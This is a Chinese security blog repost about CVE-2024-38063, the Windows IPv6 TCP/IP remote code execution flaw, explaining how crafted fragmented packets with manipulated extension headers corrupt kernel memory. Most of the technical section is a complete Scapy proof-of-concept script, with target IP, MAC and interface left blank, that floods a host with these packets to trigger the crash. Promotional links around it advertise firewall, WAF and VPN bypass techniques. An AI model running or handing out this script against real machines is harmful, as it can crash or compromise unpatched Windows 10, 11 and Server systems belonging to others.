Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

admin 2024年9月19日16:08:50评论37 views字数 3247阅读10分49秒阅读模式

part1

点击上方蓝字关注我们

往期推荐

利用文件建立TCP连接隧道绕过防火墙

利用Windows引导程序安全加载DLL

开源跨平台机密信息存储管理系统

开源跨平台高颜值十六进制编辑器

一款开源持续更新的后渗透免杀框架

EDR联动数据包封锁技术

一款舒适感极强的开源全流量监控工具

开源下一代Web应用程序防火墙(WAF)

强大的开源堡垒机系统

开源XDR威胁检测响应平台

开源恶意流量检测系统

将二进制空间安全设为"星标⭐️"

第一时间收到文章更新

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc
Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

1.摘要

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

CVE-2024-38063 是一个存在于 Windows TCP/IP 堆栈中的严重漏洞,专门针对 IPv6 子系统, 该漏洞允许通过利用系统对特制网络数据包的不当处理来实现远程代码执行。该漏洞存在于这些数据包的处理方式中,导致缓冲区溢出,使攻击者能够在受影响的计算机上执行任意代码。

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc
Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

2.漏洞影响范围

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc
  • Windows10的所有版本都受影响, 因为默认情况下都启用了IPv6。

  • Windows11的所有版本都受影响, 因为默认情况下开启了IPv6。

  • Windows Server(2008至2022): 多个版本均受到影响, 包括标准版和服务器版。

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc
Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

3.漏洞形成原理

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

IPv6的开发是为了解决IPv4的局限性,  特别是IP地址耗尽的问题, 同时也带来了扩展标头等新功能, 其中包含用于处理数据包的附加指令。但如果这些扩展标头处理不当, 就可能会导致严重问题。该漏洞的根源在于IPv6数据包碎片的处理方式。当这些数据包到达目的地时, 它们应该被重新组装成原始形式。然而, WIndows内核的重组过程方法可以被利用。通过发送大量特制的数据包(每个数据包都带有经过操纵的扩展标头), 攻击者可以淹没系统。这种过载会导致内核错误处理内存, 从而导致缓冲区溢出, 这种溢出为攻击者注入和执行恶意代码创造了途径。

下面是使用这些特定的精心设计的标头创建IPv6数据包:

first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])

在这里,攻击者正在制作一个包含IPv6 扩展标头( IPv6ExtHdrDestOpt ) 的数据包。这个标头通常是无害的,但却填充了精心选择的数据,当内核尝试处理它时,这些数据会导致问题。该数据包的设计看起来与任何其他网络流量相似,但其内部携带可能会迷惑系统的有效负载。

一旦创建了恶意数据包,下一个逻辑步骤就是对其进行分段。 IPv6 支持数据包分段,以确保大数据包可以分解为较小的数据块,通过网络发送,然后由接收系统重新组装。

second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)

通过对数据包进行分段,攻击者引入了Windows 内核无法正确管理的复杂程度。通常,这些碎片会无害地重新组装成原始数据包。然而,当数据包包含前面提到的恶意扩展标头时,重组过程就变成了雷区。 Windows 内核对此进程的处理不当会导致内存损坏,这是远程代码执行等更严重漏洞的前提。

当攻击包准备好之后, 就可以通过以下方式进行发送:

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps +
= get_packets(i) + get_packets(i)

在这里,攻击者不仅仅是发送几个数据包;而是朝目标发送一批数据包, 如果Windows内核处理不当便会导致内存溢出。这不仅仅与数量有关,还与时间有关。通过发送大量这些碎片化的恶意数据包,攻击者增加了内核以触发漏洞的方式处理它们的可能性。这种高流量场景至关重要,因为它有助于创造有效利用该缺陷所需的竞争条件。

以下是完整的Python Poc代码:

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='r')
    time.sleep(1)
print("")

往期推荐

Linux找回(破解)root账户密码的四种方法

湖北武汉某科技公司恶意软件调查分析

一款可绕过防火墙/DPI的隧道工具

八种绕过WAF防火墙的Payload混淆技术

从网络蠕虫身上提取了一堆好用的安全工具

最受黑客和安全专家青睐的10款搜索引擎

一种可绕过VPN加密直接获取明文流量的新型攻击技术

暗网排名Top10的搜索引擎

一款跨平台比VNC更丝滑的远程桌面管理工具

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

点个在看你最好看

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

原文始发于微信公众号(二进制空间安全):Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日16:08:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Windows IPv6 TCP/IP 远程执行漏洞Pochttp://cn-sec.com/archives/3168947.html

发表评论

匿名网友 填写信息